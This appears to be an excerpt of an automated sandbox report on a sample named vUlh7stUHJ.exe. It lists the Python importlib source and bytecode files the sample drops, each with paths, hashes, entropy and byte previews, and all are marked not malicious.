Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z e.e!e.f...Z"e.e!e.j#f...Z$d.e"d.e$d.e.f.d.d...Z%....d3d.e"d.e$d.e!d.e!d.e.f.d.d...Z&d.e"d.e$d.e'f.d.d...Z(....d3d.e"d.e$d.e!d.e!d.e!f.d.d ..Z)d.e"d.e$d.d!f.d"d#..Zd$d%..Z+d&d'..Z,d(d)..Z-d.e"de!d.e.f.d+d,..Z/d.e"d.e.e!..f.d-d...Z0e.d/d0....Z1e1.2e...d1d2....Z3d.S.)4.....N.....)..._common)...as_file..files)...ResourceReader)...suppress)...ResourceLoader)...ModuleSpec)...BytesIO..TextIOWrapper)...Path)...ModuleType)...ContextManager..Iterable..Union)...cast)...BinaryIO..TextIO)...Sequence)...singledispatch)...Package..Resourcer....r......contentsr......is_resource..open_binary..open_text..path..read_binary..read_text..package..resource..returnc....................C...s&...t...\|...}.t...\|...}.t...\|...}.\|.d.u.r.\|...\|...S.t.t.\|.j...}.\|

C:\recover\pw\Lib\importlib\pycache\util.cpython-310.pyc.65083136

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9327
Entropy (8bit):	5.31349836671147
Encrypted:	false
SSDEEP:	192:sptLll1YVqQzvbab+Q3+LbcwE5lFz0w7/RhZT:2bl1YVqoeb+QuLbpmFz06RhZT
MD5:	B3E21AD0F18D5941D66A57B20DB8B0D5
SHA1:	E697A448DAA9E397A1E44CDB241CF0319B22F939
SHA-256:	685AE9B582B7E160E422F02D6E17712254E3A56A018555D6A370CAFA81D1DB3D
SHA-512:	BE333B4452E229771E23B1B510C955FC083B9727311ACAFFAA154CC52BE2A59C6A0CF4FF61AAF92691D1BAE5427099900786BBFECA18463E85E0AD005FA60AF1
Malicious:	false
Preview:	o.........Sg.........................@...s...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d...Z.d.d...Z.d$d.d...Z.d$d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.G.d d!..d!e.j...Z.G.d"d#..d#e...Z d.S.)%z-Utility code for constructing importers, etc......)...Loader)...module_from_spec)..._resolve_name)...spec_from_loader)..._find_spec)...MAGIC_NUMBER)..._RAW_MAGIC_NUMBER)...cache_from_source)...decode_source)...source_from_cache)...spec_from_file_location.....)...contextmanagerNc....................C...s....t...t.\|...S.).zBReturn the hash of source_bytes* as used in hash-based pyc files.)..._imp..source_hashr....)...source_bytes..r.....#C:\recover\pw\lib\importlib\util.pyr........s......r....c....................C...s\...\|...d...s.\|.S.\|.s.t.d.t.\|.....d.......d.}.\|.D.].}.\|.d.k.r...n.\|.d.7.}.q.t.\|.\|.d.....\|.\|...S.).z2Resolve a relative module nam

C:\recover\pw\Lib\importlib\_abc.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1906
Entropy (8bit):	4.433036910849268
Encrypted:	false
SSDEEP:	24:7+Sd1gyYp8ImdaCtl27fisRiqITfqF6BSES5C+LOqqc8vbBLlZvI/iWnWuPQ:CS0207fisQqgqF2SEqxStLlhIqWW
MD5:	CBCCC8E431A338F393CCD4D3F244CCC5
SHA1:	77FF0ADCB6F35D675030BEC62BB55AA076692037
SHA-256:	C4376232DA9464A27B02A530473489486D570F25A063715F3AD5A24D92FFE527
SHA-512:	27F28525A50F068F9327613AE5A71FAE25984292ED9CDEDF92B93E9DE4E00E8121BD397E34C7E728E5849289285677ED88C43F6AB6EFB60DA36331E9C2E6CC0C
Malicious:	false
Preview:	"""Subset of importlib.abc used to reduce importlib.util imports."""..from . import _bootstrap..import abc..import warnings......class Loader(metaclass=abc.ABCMeta):.... """Abstract base class for import loaders.""".... def create_module(self, spec):.. """Return a module to initialize and into which to load..... This method should raise ImportError if anything prevents it.. from creating a new module. It may return None to indicate.. that the spec should create the new module... """.. # By default, defer to default semantics for the new module... return None.... # We don't define exec_module() here since that would break.. # hasattr checks we do to support backward compatibility..... def load_module(self, fullname):.. """Return the loaded module..... The module must be added to sys.modules and have import-related.. attributes set properly. The fullname is a str..... ImportError is raised on fa

C:\recover\pw\Lib\importlib\_adapters.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1991
Entropy (8bit):	4.390505646801514
Encrypted:	false
SSDEEP:	48:0i644hrdO2kdSNH1UKetWEeF6kKznFEjRWOem++bPnn3kVqf:B644hrU2kwDL16kGCVWOHNznMqf
MD5:	5C775988B17A8E77726D985B2FE1284C
SHA1:	DC9FA37CDF9F1EC1045B16BEE536C1D54C488539
SHA-256:	F338A91DEEF0B819B408D7BAEA338D637B817A69B3270A6608ACF79EF9ED700A
SHA-512:	A88F3248FA18787B4D98F50EADC5DED6AC4D7B09A8B618C1CE8D440A3FC2B28B8DE00AAAE8338840549C77F92E01F6D12F02C4940FD350BC96EE2AE041E12DCA
Malicious:	false
Preview:	from contextlib import suppress....from . import abc......class SpecLoaderAdapter:.. """.. Adapt a package spec to adapt the underlying loader... """.... def __init__(self, spec, adapter=lambda spec: spec.loader):.. self.spec = spec.. self.loader = adapter(spec).... def __getattr__(self, name):.. return getattr(self.spec, name)......class TraversableResourcesLoader:.. """.. Adapt a loader to provide TraversableResources... """.... def __init__(self, spec):.. self.spec = spec.... def get_resource_reader(self, name):.. return DegenerateFiles(self.spec)._native()......class DegenerateFiles:.. """.. Adapter for an existing or non-existant resource reader.. to provide a degenerate .files()... """.... class Path(abc.Traversable):.. def iterdir(self):.. return iter(()).... def is_dir(self):.. return False.... is_file = exists = is_dir # type: ignore.... def joinpa

C:\recover\pw\Lib\importlib\_bootstrap.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	42676
Entropy (8bit):	4.491854158137825
Encrypted:	false
SSDEEP:	768:1eKvy2ADZIwUMAfvkUFlXppkl89q/5R5B/miJ5j2:DDCUdfvkUC72
MD5:	03A827AAC6D6D4EBEA01D384EAA30F32
SHA1:	81ADE09B0AEADF4B2721F56BE11E75E453192B45
SHA-256:	B300CE18C15FD539F099883AEDC24B1A91E5C35B581EFDBB9E21D638A4EC82E5
SHA-512:	B0B3BA998638A3CF0C8A8DF4D9B678FBF4D92AC387064151A6D7DF3179103CC5B4C417146CEF6D3E1120658672807AA89BC92867DF7A7C7022DD26A6FF361A80
Malicious:	false
Preview:	"""Core implementation of import.....This module is NOT meant to be directly imported! It has been designed such..that it can be bootstrapped into Python as the implementation of import. As..such it requires the injection of specific modules and attributes in order to..work. One should use importlib as the public-facing version of this module....."""..#..# IMPORTANT: Whenever making changes to this module, be sure to run a top-level..# `make regen-importlib` followed by `make` in order to get the frozen version..# of the module updated. Not doing so will result in the Makefile to fail for..# all others who don't have a ./python around to freeze the module..# in the early stages of compilation...#....# See importlib._setup() for what is injected into the global namespace.....# When editing this code be aware that code executed at import time CANNOT..# reference any injected objects! This includes not only global code but also..# anything specified at the class level.....def _object_name

C:\recover\pw\Lib\importlib\_bootstrap_external.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	66536
Entropy (8bit):	4.677552891760068
Encrypted:	false
SSDEEP:	768:iKsoAmFqJ4QFhE/tn5k0feP1tO4o4MCxl6knccZ/76RlgSHvflx3ov:txc4QF8tn5yM4B6kccZzILP+
MD5:	B6ED9264CB6BA04A6F439723C05F3072
SHA1:	0B8B9604896114FE1F5FB76087BAADCFED21D334
SHA-256:	CD9B77650B59135A764C6A536151673D4130BD88C9171223376D19CE5B971B77
SHA-512:	384439A20C07A730CFB4E8DAB9793D726157DF2760A3D4A6C95C3F9E02DEC52EF1FCB500D1CC9E5386D705FAB4091F4EBA2848BD2055F51D7F7F44C7DB66C084
Malicious:	false
Preview:	"""Core implementation of path-based import.....This module is NOT meant to be directly imported! It has been designed such..that it can be bootstrapped into Python as the implementation of import. As..such it requires the injection of specific modules and attributes in order to..work. One should use importlib as the public-facing version of this module....."""..# IMPORTANT: Whenever making changes to this module, be sure to run a top-level..# `make regen-importlib` followed by `make` in order to get the frozen version..# of the module updated. Not doing so will result in the Makefile to fail for..# all others who don't have a ./python around to freeze the module in the early..# stages of compilation...#....# See importlib._setup() for what is injected into the global namespace.....# When editing this code be aware that code executed at import time CANNOT..# reference any injected objects! This includes not only global code but also..# anything specified at the class level.....# Module

C:\recover\pw\Lib\importlib\_common.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3340
Entropy (8bit):	4.6745746844172285
Encrypted:	false
SSDEEP:	96:C15GjAcQmz/EgZIyHf4Dd2juC6cO2HEzIX9SkqR8E:CowI/VLf452t6aHEzIX9S1R8E
MD5:	97023E935E8C794384CC5651D2A64F28
SHA1:	67B8407421BC914FDEC799FF161D4131454ED372
SHA-256:	F2ED6530F455FA56E1BCF69BB85553D72B2013933624533AFA69A874EB67AE00
SHA-512:	A0B82EF0EAA82D2F91763648086EE4046D7149BC2E3FA3A34A52A381CE8CD9BEBA5DBADBE71A9BFA012B239B849F403B092D3B0A90F542C6D0CEBD3D603804C4
Malicious:	false
Preview:	import os..import pathlib..import tempfile..import functools..import contextlib..import types..import importlib....from typing import Union, Any, Optional..from .abc import ResourceReader, Traversable....from ._adapters import wrap_spec....Package = Union[types.ModuleType, str]......def files(package):.. # type: (Package) -> Traversable.. """.. Get a Traversable resource from a package.. """.. return from_package(get_package(package))......def normalize_path(path):.. # type: (Any) -> str.. """Normalize a path by ensuring it is a string..... If the resulting string contains path separators, an exception is raised... """.. str_path = str(path).. parent, file_name = os.path.split(str_path).. if parent:.. raise ValueError(f'{path!r} must be only a file name').. return file_name......def get_resource_reader(package):.. # type: (types.ModuleType) -> Optional[ResourceReader].. """.. Return the package's loader if it's a ResourceReader...

C:\recover\pw\Lib\importlib\abc.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14863
Entropy (8bit):	4.500827376021012
Encrypted:	false
SSDEEP:	192:JL/+/DsHY+mmxtRIE8O1gIjyyroF8M1470fY7GTDHv+RI+oe+:RGMY+mg9dyqMw7Esu
MD5:	1C219A984C22F7CEFDF4658FF6F7717A
SHA1:	C4C4B39D02F10989A0256612C59E8E35B808D99C
SHA-256:	03060C6B437D5268556E45EC50A89B25FF2DBBB393695611046BE776233BD568
SHA-512:	EEEA7E1582181A408A34F2BA2B6AA8ABCFDFC37C86ABF109CBD6233FEF68FB65724659857F426D41DA50D48B36E81D736BF5E16CC8FFFEF55F7EF628634BB4BD
Malicious:	false
Preview:	"""Abstract base classes related to import."""..from . import _bootstrap_external..from . import machinery..try:.. import _frozen_importlib..except ImportError as exc:.. if exc.name != '_frozen_importlib':.. raise.. _frozen_importlib = None..try:.. import _frozen_importlib_external..except ImportError:.. _frozen_importlib_external = _bootstrap_external..from ._abc import Loader..import abc..import warnings..from typing import BinaryIO, Iterable, Text..from typing import Protocol, runtime_checkable......def _register(abstract_cls, *classes):.. for cls in classes:.. abstract_cls.register(cls).. if _frozen_importlib is not None:.. try:.. frozen_cls = getattr(_frozen_importlib, cls.__name__).. except AttributeError:.. frozen_cls = getattr(_frozen_importlib_external, cls.__name__).. abstract_cls.register(frozen_cls)......class Finder(metaclass=abc.ABCMeta):.... """Legacy abstract base cl

C:\recover\pw\Lib\importlib\machinery.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	850
Entropy (8bit):	4.966782780310052
Encrypted:	false
SSDEEP:	24:YT166asGSaopamPQpaJ2XEaJ2QaJLYaJRaJnaJiaJen5Jir:2VGSD0y20y2QyLYyRynyiy25Jir
MD5:	AC4151821693C881CEF5C5567EE36977
SHA1:	98C415AF4EECD5832ACD4DCA3FE2DBC220CE4B02
SHA-256:	1B8C62B3A0494C064B37D1812F3A67A475B874A383C937665C6DD66FCDC8F7B1
SHA-512:	1F2E8AA728F1EFF0A7AAE5D6B574D91CF3724BC49D5B4AEEB2E3CB53BD997A92A2E9C5CDBC5ACC052D5F0EA96FBF2626509C23E6E8BCC8183140D5FFD09070FD
Malicious:	false
Preview:	"""The machinery of importlib: finders, loaders, hooks, etc."""....from ._bootstrap import ModuleSpec..from ._bootstrap import BuiltinImporter..from ._bootstrap import FrozenImporter..from ._bootstrap_external import (SOURCE_SUFFIXES, DEBUG_BYTECODE_SUFFIXES,.. OPTIMIZED_BYTECODE_SUFFIXES, BYTECODE_SUFFIXES,.. EXTENSION_SUFFIXES)..from ._bootstrap_external import WindowsRegistryFinder..from ._bootstrap_external import PathFinder..from ._bootstrap_external import FileFinder..from ._bootstrap_external import SourceFileLoader..from ._bootstrap_external import SourcelessFileLoader..from ._bootstrap_external import ExtensionFileLoader......def all_suffixes():.. """Returns a list of all recognized module suffixes for this process""".. return SOURCE_SUFFIXES + BYTECODE_SUFFIXES + EXTENSION_SUFFIXES..

C:\recover\pw\Lib\importlib\metadata\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	31653
Entropy (8bit):	4.600545092713191
Encrypted:	false
SSDEEP:	384:LAYScdWiMmMXy0TgP/eBSebWeLYfu51vlAB51Hvd8WgT0Tt/B7GFn6+hwYgEm+Z:LPSVmMXy4g0H1vAvvdm4rSPwybZ
MD5:	A6634294230146390C6551589BE95CD7
SHA1:	D6A8337B5227634D41CF53E735DF749C3C531166
SHA-256:	306A3AD3820533FDE313CBEA0BB8840D5DEF6455D16F39F76D6B9CDA91918DEE
SHA-512:	2A8533F9AE86CB520015F0426C28727857912D6CC253A4BEBCC64AC51B91CB9D4A4624807D29ABF2F20ADFE14ACAA61F7BC47EAECD301230515129AF694207BE
Malicious:	false
Preview:	import os..import re..import abc..import csv..import sys..import email..import pathlib..import zipfile..import operator..import textwrap..import warnings..import functools..import itertools..import posixpath..import collections....from . import _adapters, _meta..from ._meta import PackageMetadata..from ._collections import FreezableDefaultDict, Pair..from ._functools import method_cache, pass_none..from ._itertools import unique_everseen..from ._meta import PackageMetadata, SimplePath....from contextlib import suppress..from importlib import import_module..from importlib.abc import MetaPathFinder..from itertools import starmap..from typing import List, Mapping, Optional, Union......__all__ = [.. 'Distribution',.. 'DistributionFinder',.. 'PackageMetadata',.. 'PackageNotFoundError',.. 'distribution',.. 'distributions',.. 'entry_points',.. 'files',.. 'metadata',.. 'packages_distributions',.. 'requires',.. 'version',..]......class PackageNotFoundError(Mo

C:\recover\pw\Lib\importlib\metadata\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	37093
Entropy (8bit):	5.21021991041197
Encrypted:	false
SSDEEP:	768:2TMjZ3JEQWRwd2Aj+j5HlBqOVKpmtI5FugF0Mj:2TcAL9BANHcgFRj
MD5:	A4DC1F79695C7C6775A8473503373097
SHA1:	D5C73DB611DA6BBF30383ABB8126B77826720F62
SHA-256:	7A1E377093664C71EFE3634A5A7D0BC1DDC84BD55777D9C93850D6F68558838A
SHA-512:	99AB3F7B9A21812E143F4C87C0D80DD5AD99D7CF2CA408B273E991143BE0DE8A9833DF04BE8C5BB685D72803C368A442158C6A37F76C1DA60166DB517764ED3E
Malicious:	false
Preview:	o.......=k;g.{.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l.m"Z"..d.d.l#m$Z$m%Z%m&Z&m'Z'..g.d...Z(G.d.d...d.e)..ZG.d.d...d...Z+G.d.d...d.e..,d.d.....Z-G.d.d...d.e...Z/G.d.d...d.e/..Z0G.d.d...d...Z1G.d.d...d.e1e2..Z3G.d.d ..d e.j4..Z5G.d!d"..d"..Z6G.d#d$..d$..Z7G.d%d&..d&e!..Z8G.d'd(..d(..Z9G.d)d..d*..Z:G.d+d,..d,..Z;G.d-d...d.e8..Z<G.d/d0..d0e7..Z=d1d2..Z>d3d4..Z?d5e.j.f.d6d7..Z@d8d9..ZAd5e'e0e3f...f.d:d;..ZBd<d=..ZCd>d?..ZDd5e%eEe$eE..f...f.d@dA..ZFd.S.)B.....N.....)..._adapters.._meta)...PackageMetadata)...FreezableDefaultDict..Pair)...method_cache..pass_none)...unique_everseen).r......SimplePath)...suppress)...import_module)...MetaPathFinder)...starmap)...List..Mapping..Optional..Union)...Distribution..DistributionFinderr......PackageNotFoundError..

C:\recover\pw\Lib\importlib\metadata\pycache\init.cpython-310.pyc.65169888

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	37094
Entropy (8bit):	5.210143804203666
Encrypted:	false
SSDEEP:	768:N3MjZ3JEQWRwd2Aj+j5HlBqOVKpmtI5FugF0Mj:N3cAL9BANHcgFRj
MD5:	15787C88330B06D58ECC5D46B5C6B633
SHA1:	5AEFC451B74B5402E55CCC9A548D00A3C69B7C0A
SHA-256:	C443AEE6836DF52FCB2FB9BD68B2E782919F1EEE5B43760C1632354BA6E92849
SHA-512:	712E762C9656AA604CF40E42F6E82E94B010B1EB138E931BA0955E636A51E71CA5E056DB96C883A43A57DAB72E0458334FC85626B68E5937320A836400B91845
Malicious:	false
Preview:	o.........Sg.{.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l.m"Z"..d.d.l#m$Z$m%Z%m&Z&m'Z'..g.d...Z(G.d.d...d.e)..ZG.d.d...d...Z+G.d.d...d.e..,d.d.....Z-G.d.d...d.e...Z/G.d.d...d.e/..Z0G.d.d...d...Z1G.d.d...d.e1e2..Z3G.d.d ..d e.j4..Z5G.d!d"..d"..Z6G.d#d$..d$..Z7G.d%d&..d&e!..Z8G.d'd(..d(..Z9G.d)d..d*..Z:G.d+d,..d,..Z;G.d-d...d.e8..Z<G.d/d0..d0e7..Z=d1d2..Z>d3d4..Z?d5e.j.f.d6d7..Z@d8d9..ZAd5e'e0e3f...f.d:d;..ZBd<d=..ZCd>d?..ZDd5e%eEe$eE..f...f.d@dA..ZFd.S.)B.....N.....)..._adapters.._meta)...PackageMetadata)...FreezableDefaultDict..Pair)...method_cache..pass_none)...unique_everseen).r......SimplePath)...suppress)...import_module)...MetaPathFinder)...starmap)...List..Mapping..Optional..Union)...Distribution..DistributionFinderr......PackageNotFoundError..

C:\recover\pw\Lib\importlib\metadata\pycache\_adapters.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	2341
Entropy (8bit):	5.140784471799243
Encrypted:	false
SSDEEP:	48:IuvHOKjvXocKHdq5UHdUktPdSNwplt9SDYvloUTG:vHOKjocKHdqUdUWlSWplZ9oEG
MD5:	F7D7E6599B048256D058DB00F79C266E
SHA1:	73DFBDB0FCA817857901F9BC509AE33C10992862
SHA-256:	41A74722347EEA9AD3CB4743C5E2DA8B479416C2EF86F41F3CEA3C4D7C613C7C
SHA-512:	34E09CE4E92C6235DC1D2FA6E7CD841D19AAD10B9E5463DF87D833004DB7C41AB12D8C382D9F5D910667F0309DC58D21379A342341B15C2EF1B591BE6FE53C6E
Malicious:	false
Preview:	o.......=k;g.........................@...s<...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...G.d.d...d.e.j.j...Z.d.S.)......N.....)...FoldedCasec........................sb...e.Z.d.Z.e.e.e.g.d.......Z...d.e.j.j.f...f.d.d...Z.d.d...Z...f.d.d...Z.d.d...Z.e.d.d.....Z.....Z.S.)...Message).Z.Classifierz.Obsoletes-DistZ.Platformz.Project-URLz.Provides-Distz.Provides-Extraz.Requires-Distz.Requires-Externalz.Supported-PlatformZ.Dynamic..origc........................s"...t.....\|...}.t.\|.....t.\|.......\|.S...N)...super..__new__..vars..update)...clsr......res....__class__...0C:\winnit\pw\lib\importlib\metadata\_adapters.pyr........s..........z.Message.__new__c....................O...s....\|.....\|._.d.S.r....)..._repair_headers.._headers)...self..args..kwargsr....r....r......__init__#...s......z.Message.__init__c........................s....t.......S.r....).r......__iter__..r....r....r....r....r....'...s......z.Message.__iter__c........................s>...d.d.......f.d.d...t.\|...d...D...}.\|.j.r.\|...d.\|.....f..

C:\recover\pw\Lib\importlib\metadata\pycache\_adapters.cpython-310.pyc.65659640

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2342
Entropy (8bit):	5.136410691415351
Encrypted:	false
SSDEEP:	48:luvHOKjPXocKHdq5UHdUktPdSNwplt9SDYvloUTG:CHOKLocKHdqUdUWlSWplZ9oEG
MD5:	014F7FF3ACADD6FA2C20D54486BACAF1
SHA1:	72A9B67FEE6F4EE6C2D1076505D4078AF5DA42C3
SHA-256:	49E031F7CACC69C654D2C5FECD3CBD71B55449E4B3F692C82B0ACA01AAABFDAA
SHA-512:	BA6E1A0EC2AC74999A624039B2D25B8B851A96EBA679138F36EC4DF455FC837B49D3A10E39AF722CB9643EF3F2C76C8FC99C1ADE29B967505DA7DDB7152C3DC8
Malicious:	false
Preview:	o.........Sg.........................@...s<...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...G.d.d...d.e.j.j...Z.d.S.)......N.....)...FoldedCasec........................sb...e.Z.d.Z.e.e.e.g.d.......Z...d.e.j.j.f...f.d.d...Z.d.d...Z...f.d.d...Z.d.d...Z.e.d.d.....Z.....Z.S.)...Message).Z.Classifierz.Obsoletes-DistZ.Platformz.Project-URLz.Provides-Distz.Provides-Extraz.Requires-Distz.Requires-Externalz.Supported-PlatformZ.Dynamic..origc........................s"...t.....\|...}.t.\|.....t.\|.......\|.S...N)...super..__new__..vars..update)...clsr......res....__class__...1C:\recover\pw\lib\importlib\metadata\_adapters.pyr........s..........z.Message.__new__c....................O...s....\|.....\|._.d.S.r....)..._repair_headers.._headers)...self..args..kwargsr....r....r......__init__#...s......z.Message.__init__c........................s....t.......S.r....).r......__iter__..r....r....r....r....r....'...s......z.Message.__iter__c........................s>...d.d.......f.d.d...t.\|...d...D...}.\|.j.r.\|...d.\|.....f.

C:\recover\pw\Lib\importlib\metadata\pycache\_collections.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	4.994649930319583
Encrypted:	false
SSDEEP:	24:7Bf0kCRklLM8ZOSIJOmhgP3uS8TVMPt/fkWB16RB6lghkChedco/qq6Ddqrqqp:7Bf0Xkl4KOSI4mh6p4qdcWB1cegfhe+y
MD5:	53542C723C0AD645C0478A02A93BF053
SHA1:	DCA23F8330938D8D472CFF4FD3C8575775683A6F
SHA-256:	53FA1DEF2622D00ECB5221B87E1C9830D5943B633E7FF2B1FF393B7128557D1C
SHA-512:	A3466FDF3101A35E80033BD3E6CCB350883F6C76ED5C055047BB74B8DA03A6764C0CB7ABCC29B221D39F0414ACFE374139754D3E916A1619479B16C236A731EE
Malicious:	false
Preview:	o.......=k;g.........................@...s6...d.d.l.Z.G.d.d...d.e.j...Z.G.d.d...d.e...d.d.....Z.d.S.)......Nc........................s(...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.....Z.S.)...FreezableDefaultDicta!.... Often it is desirable to prevent the mutation of. a default dict after its initial construction, such. as to prevent mutation during iteration... >>> dd = FreezableDefaultDict(list). >>> dd[0].append('1'). >>> dd.freeze(). >>> dd[1]. []. >>> len(dd). 1. c........................s....t.\|.d.t...j...\|...S.).N.._frozen)...getattr..super..__missing__)...self..key....__class__...3C:\winnit\pw\lib\importlib\metadata\_collections.pyr........s......z FreezableDefaultDict.__missing__c........................s......f.d.d....._.d.S.).Nc........................s..........S.).N)...default_factory).r......r....r....r......<lambda>....s......z-FreezableDefaultDict.freeze.<locals>.<lambda>).r....r....r....r....r......freeze....s......z.FreezableDefaultDict.freeze).

C:\recover\pw\Lib\importlib\metadata\pycache\_collections.cpython-310.pyc.66076912

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1517
Entropy (8bit):	4.990665061745964
Encrypted:	false
SSDEEP:	24:ABf0kCRklLM8ZOSIJOmhgP3uSQTVMPt/fkWB16RB6lghkChedco/qq6Ddqrqqp:ABf0Xkl4KOSI4mh6pMqdcWB1cegfhe+y
MD5:	788C4D13D0F52C17873971852306E3A3
SHA1:	CC3B4046EDC25AC67F8F4BE70ED00AC9809C4E97
SHA-256:	C95014667FC769E02BD68632999D52BA00ABDE81980AA3510C5125B99B777814
SHA-512:	7B96AB7AEED3433B0F108847842D6D04F342F541BC44F59E0BBB505273FB7E5921FB6B4BC07487A29535614DEFAF5A842FB15ED98CD37D958EEE9BAD5A8AC265
Malicious:	false
Preview:	o.........Sg.........................@...s6...d.d.l.Z.G.d.d...d.e.j...Z.G.d.d...d.e...d.d.....Z.d.S.)......Nc........................s(...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.....Z.S.)...FreezableDefaultDicta!.... Often it is desirable to prevent the mutation of. a default dict after its initial construction, such. as to prevent mutation during iteration... >>> dd = FreezableDefaultDict(list). >>> dd[0].append('1'). >>> dd.freeze(). >>> dd[1]. []. >>> len(dd). 1. c........................s....t.\|.d.t...j...\|...S.).N.._frozen)...getattr..super..__missing__)...self..key....__class__...4C:\recover\pw\lib\importlib\metadata\_collections.pyr........s......z FreezableDefaultDict.__missing__c........................s......f.d.d....._.d.S.).Nc........................s..........S.).N)...default_factory).r......r....r....r......<lambda>....s......z-FreezableDefaultDict.freeze.<locals>.<lambda>).r....r....r....r....r......freeze....s......z.FreezableDefaultDict.freeze)

C:\recover\pw\Lib\importlib\metadata\pycache\_functools.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	3106
Entropy (8bit):	5.079977364016714
Encrypted:	false
SSDEEP:	48:jHbuTGKoOIXlUsSUUEQ1lGIGX5G5GurSYwBpHPdG7lfsJdSOTK/J/SarXN0le/yN:6oOCDUX4sXwjvMXNpa5s1qoOIk
MD5:	66FA0DB73935AAD077879907633A1713
SHA1:	354441056963DF21D3C6BC33F2F538CAF51C8BFB
SHA-256:	EB81529CA5BDBDAFED08900A8BEB0F0518241D5F263EAFA9DD8AD47DB8400C7E
SHA-512:	4BF9745BFB77E4CD079BCE36BBC931F83DA97DBAD41E06ADA9C3B73AA7AEEB768071E89D07220FCCF65B16967DD763240CD191117BE9F49FF4951B4356141FC7
Malicious:	false
Preview:	o.......=k;g.........................@...s&...d.d.l.Z.d.d.l.Z.d.d.d...Z.d.d...Z.d.S.)......Nc........................s(.....p.t...........f.d.d...}.d.d...\|._.\|.S.).aV.... Wrap lru_cache to support storing the cache data in the object instances... Abstracts the common paradigm where the method explicitly saves an. underscore-prefixed protected property on first call and returns that. subsequently... >>> class MyClass:. ... calls = 0. .... ... @method_cache. ... def method(self, value):. ... self.calls += 1. ... return value.. >>> a = MyClass(). >>> a.method(3). 3. >>> for x in range(75):. ... res = a.method(x). >>> a.calls. 75.. Note that the apparent behavior will be exactly like that of lru_cache. except that the cache is stored on each instance, so values in one. instance will not flush values from another, and when an instance is. deleted, so are the cached values for that instance...

C:\recover\pw\Lib\importlib\metadata\pycache\_functools.cpython-310.pyc.65662136

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	5.078128279346499
Encrypted:	false
SSDEEP:	48:6HbuTGKoOIXlUsSUUEQ1lGIGX5G5GurSYwBpHPdG7lfsJdSOTK/J/SarXN0le/y/:NoOCDUX4sXwjvMXNpa5S1qoOIk
MD5:	D5E62703FE06B7CE658B45792DB1AD0C
SHA1:	7DF5BBBF182DA78413EC4F1D3844D3863CD88995
SHA-256:	4FEA1501AC517039FDF33C1B271614A63A80A0B8D02F200C32DF279A79C46D59
